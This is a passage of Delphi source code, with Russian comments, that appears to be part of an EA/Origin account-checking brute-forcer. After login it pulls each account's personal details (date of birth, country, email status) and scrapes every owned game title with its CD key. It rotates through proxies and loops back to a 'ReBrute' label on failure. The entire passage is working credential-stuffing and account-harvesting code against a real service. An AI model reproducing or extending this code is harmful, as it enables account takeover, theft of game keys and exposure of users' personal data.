if HTTP[1].HTTPMethod('GET', 'https://gateway.ea.com/proxy/identity/pids/me') then
                            begin
                              HTML[1].LoadFromStream(HTTP[1].Document);
                              if Pos('pid" : {', HTML[1].text) <> 0 then
                              begin
                                Helper.CheckTemp[1] := 'Email Status : ' + pars('"emailStatus" : "', HTML[1].text, '",');
                                Helper.CheckTemp[2] := 'D.O.B : ' + pars('"dob" : "', HTML[1].text, '",');
                                Helper.CheckTemp[3] := 'Country : ' + pars('"country" : "', HTML[1].text, '');
                                Helper.CheckTemp[4] := 'Status : ' + pars('"status" : "', HTML[1].text, '",');
                                Helper.CheckTemp[5] := 'Last Auth : ' + pars('"lastAuthDate" : "', HTML[1].text, 'z",');
                                Helper.CheckTemp[6] := pars('"pidId" : ', HTML[1].text, ',');
                                HTTP[1].Headers.Clear;
                                HTTP[1].Document.Clear;
                                HTTP[1].AddPortNumberToHost := false;
                                HTTP[1].Protocol := '1.1';
                                POST[1].Clear;
                                HTTP[1].Headers.Add('Accept-Encoding: gzip, deflate');
                                http[1].UserAgent := 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36';
                                HTTP[1].Headers.add('AuthToken: ' + Helper.TokenTemp[2]);
                                if HTTP[1].HTTPMethod('GET', 'https://ecommerce2.dm.origin.com/ecommerce2/basegames/' + Helper.CheckTemp[6]) then
                                begin

                                  HTML[1].LoadFromStream(http[1].document);
                                  if Pos('<displayName>', HTML[1].text) <> 0 then
                                  begin
                                    PUBData[1] := TStringList.Create;
                                    Rexp[1] := TRegExpr.Create;
                                    Rexp[1].Expression := '<displayName>(.*?)</displayName>.*?<cdKey>(.*?)</cdKey>';
                                    if Rexp[1].Exec(html[1].Text) then
                                      repeat
                                        PUBData[1].Add(Rexp[1].Match[1] + '|' + Rexp[1].Match[2]);
                                      until not Rexp[1].Execnext;
                                    Rexp[1].Free;
                                    Helper.CheckTemp[7] := 'Count Games : ' + IntTostr(PUBData[1].count);

                                  end
                                  else
                                  begin
                                    PUBData[1].Text := 'No Games';

                                  end;
                                  Valid := 1;

                                end
                                else
                                begin
                                  Valid := 0;
                                end;
                              end
                              else
                              begin
                                Valid := 0;
                              end;
                            end
                            else
                            begin
                              Valid := 0;
                            end;
                          end
                          else
                          begin
                            Valid := 0;
                          end;
                        end
                        else
                        begin
                          Valid := 0;
                        end;
                      end
                      else
                      begin
                        Valid := 0;
                      end;
                    end
                    else
                    begin
                      Valid := 0;
                    end;

                  end
                  else
                  begin
                    Valid := 2;
                  end;

                end
                else
                begin
                  Valid := 0;
                end;
              end
              else
              begin
                Valid := 0;
              end;

            end
            else
            begin
              Valid := 0;
            end;
          end
          else
          begin
            Valid := 0;
          end;

        end
        else
        begin
          Valid := 0;
        end;
      end
      else
      begin
        Valid := 0;
      end;

    end
    else
    begin
      Valid := 0;
    end;
  end
  else
  begin
    Valid := 0;
  end;
       Synchronize(Sync);
  if Valid = 0 then
  begin
    POST[1].Clear; // Очищаем переменные.
    HTML[1].Clear;
    HTTP[1].Clear;
    Synchronize(Sync);
    Inc(Integers[1]); // Увеличиваем тот самый индекс который нам передали при создании берем след прокси.
    if Integers[1] >= ProxyList.Count - 1 then
      Integers[1] := 0; // Если вылетели за пределы массива то с 0.
    goto ReBrute;
  end;


  POST[1].Free; // Освобождаем переменные.
  HTML[1].Free;
  HTTP[1].Free;
 // Выводим гуд или бед.
  Synchronize(DecThread); // Сообщаем о своей смерти давая место след потоку.
end;